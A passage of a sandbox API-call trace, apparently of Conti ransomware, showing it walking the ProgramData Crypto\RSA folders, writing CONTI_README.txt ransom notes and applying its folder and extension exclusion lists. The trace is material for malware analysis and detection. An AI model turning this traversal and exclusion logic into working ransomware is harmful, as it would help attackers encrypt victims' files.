	[0103.872] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\CONTI_README.txt"
	[0103.872] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0103.872] GetProcessHeap () returned 0x1720000
	[0103.872] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740898 | out: hHeap=0x1720000) returned 1
	[0103.872] WriteFile (in: hFile=0x3c8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0103.873] CloseHandle (hObject=0x3c8) returned 1
	[0103.873] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8570
	[0103.873] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.873] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.873] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.873] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.873] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51bfddb8, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51bfddb8, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.873] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.873] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.873] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.873] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.873] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0103.873] lstrcmpiW (lpString1="MachineKeys", lpString2=".") returned 1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="..") returned 1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="tmp") returned -1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="winnt") returned -1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="Application Data") returned 1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="AppData") returned 1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="temp") returned -1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="thumb") returned -1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="$Recycle.Bin") returned 1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="$RECYCLE.BIN") returned 1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="System Volume Information") returned -1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="Program Files") returned -1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="Program Files (x86)") returned -1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="Boot") returned 1
	[0103.874] lstrcmpiW (lpString1="MachineKeys", lpString2="Windows") returned -1
	[0103.874] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned 35
	[0103.874] lstrlenW (lpString="MachineKeys") returned 11
	[0103.874] GetProcessHeap () returned 0x1720000
	[0103.874] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x60) returned 0x17c0b90
	[0103.874] lstrcpyW (in: lpString1=0x17c0b90, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0103.874] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\"
	[0103.874] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\", lpString2="MachineKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0103.874] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 47
	[0103.874] GetProcessHeap () returned 0x1720000
	[0103.874] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x1741140
	[0103.874] lstrcpyW (in: lpString1=0x1741140, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0103.874] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*"
	[0103.874] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 47
	[0103.874] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.874] GetProcessHeap () returned 0x1720000
	[0103.874] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x82) returned 0x17ca048
	[0103.874] lstrcpyW (in: lpString1=0x17ca048, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0103.874] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\"
	[0103.874] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\CONTI_README.txt"
	[0103.874] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0103.875] GetProcessHeap () returned 0x1720000
	[0103.875] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca048 | out: hHeap=0x1720000) returned 1
	[0103.875] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0103.876] CloseHandle (hObject=0x394) returned 1
	[0103.876] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8070
	[0103.876] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.877] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.877] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.877] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.877] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c23fa7, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c23fa7, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.877] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.877] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.877] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.877] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.877] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 1
	[0103.877] lstrcmpiW (lpString1="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpString2=".") returned 1
	[0103.877] lstrcmpiW (lpString1="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpString2="..") returned 1
	[0103.877] StrStrIW (lpFirst="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".CONTI") returned 0x0
	[0103.877] StrStrIW (lpFirst="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch="CONTI_README.txt") returned 0x0
	[0103.877] StrStrIW (lpFirst="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".exe") returned 0x0
	[0103.877] StrStrIW (lpFirst="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".dll") returned 0x0
	[0103.877] StrStrIW (lpFirst="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".lnk") returned 0x0
	[0103.877] StrStrIW (lpFirst="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".sys") returned 0x0
	[0103.877] StrStrIW (lpFirst="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch=".CONTI") returned 0x0
	[0103.877] StrStrIW (lpFirst="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", lpSrch="CONTI_README.txt") returned 0x0
	[0103.877] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 47
	[0103.877] lstrlenW (lpString="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267") returned 69
	[0103.877] GetProcessHeap () returned 0x1720000
	[0103.877] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xec) returned 0x181b340
	[0103.877] lstrcpyW (in: lpString1=0x181b340, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys"
	[0103.877] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\"
	[0103.877] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\", lpString2="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"
	[0103.877] FindNextFileW (in: hFindFile=0x17c8070, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 0
	[0103.877] GetProcessHeap () returned 0x1720000
	[0103.877] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741140 | out: hHeap=0x1720000) returned 1
	[0103.877] FindClose (in: hFindFile=0x17c8070 | out: hFindFile=0x17c8070) returned 1
	[0103.878] GetProcessHeap () returned 0x1720000
	[0103.878] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0b90 | out: hHeap=0x1720000) returned 1
	[0103.878] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2=".") returned 1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="..") returned 1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="tmp") returned -1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="winnt") returned -1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="Application Data") returned 1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="AppData") returned 1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="temp") returned -1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="thumb") returned -1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="$Recycle.Bin") returned 1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="$RECYCLE.BIN") returned 1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="System Volume Information") returned -1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="Program Files") returned 1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="Program Files (x86)") returned 1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="Boot") returned 1
	[0103.878] lstrcmpiW (lpString1="S-1-5-18", lpString2="Windows") returned -1
	[0103.878] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned 35
	[0103.878] lstrlenW (lpString="S-1-5-18") returned 8
	[0103.878] GetProcessHeap () returned 0x1720000
	[0103.878] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0b28
	[0103.878] lstrcpyW (in: lpString1=0x17c0b28, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0103.878] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\"
	[0103.878] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\", lpString2="S-1-5-18" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0103.878] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 44
	[0103.878] GetProcessHeap () returned 0x1720000
	[0103.878] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5e) returned 0x17c05e0
	[0103.878] lstrcpyW (in: lpString1=0x17c05e0, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0103.878] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*"
	[0103.878] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 44
	[0103.878] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.878] GetProcessHeap () returned 0x1720000
	[0103.878] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7c) returned 0x176bc60
	[0103.878] lstrcpyW (in: lpString1=0x176bc60, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0103.879] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\"
	[0103.879] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\CONTI_README.txt"
	[0103.879] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0103.879] GetProcessHeap () returned 0x1720000
	[0103.879] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bc60 | out: hHeap=0x1720000) returned 1
	[0103.879] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0103.880] CloseHandle (hObject=0x394) returned 1
	[0103.880] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7f30
	[0103.880] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.880] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x51c23fa7, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.880] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.880] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.880] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 1
	[0103.880] lstrcmpiW (lpString1="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpString2=".") returned 1
	[0103.880] lstrcmpiW (lpString1="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpString2="..") returned 1
	[0103.880] StrStrIW (lpFirst="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".CONTI") returned 0x0
	[0103.880] StrStrIW (lpFirst="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch="CONTI_README.txt") returned 0x0
	[0103.880] StrStrIW (lpFirst="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".exe") returned 0x0
	[0103.880] StrStrIW (lpFirst="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".dll") returned 0x0
	[0103.880] StrStrIW (lpFirst="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".lnk") returned 0x0
	[0103.880] StrStrIW (lpFirst="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".sys") returned 0x0
	[0103.880] StrStrIW (lpFirst="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch=".CONTI") returned 0x0
	[0103.880] StrStrIW (lpFirst="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpSrch="CONTI_README.txt") returned 0x0
	[0103.880] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 44
	[0103.880] lstrlenW (lpString="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71") returned 69
	[0103.880] GetProcessHeap () returned 0x1720000
	[0103.880] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe6) returned 0x17c8a18
	[0103.881] lstrcpyW (in: lpString1=0x17c8a18, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0103.881] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\"
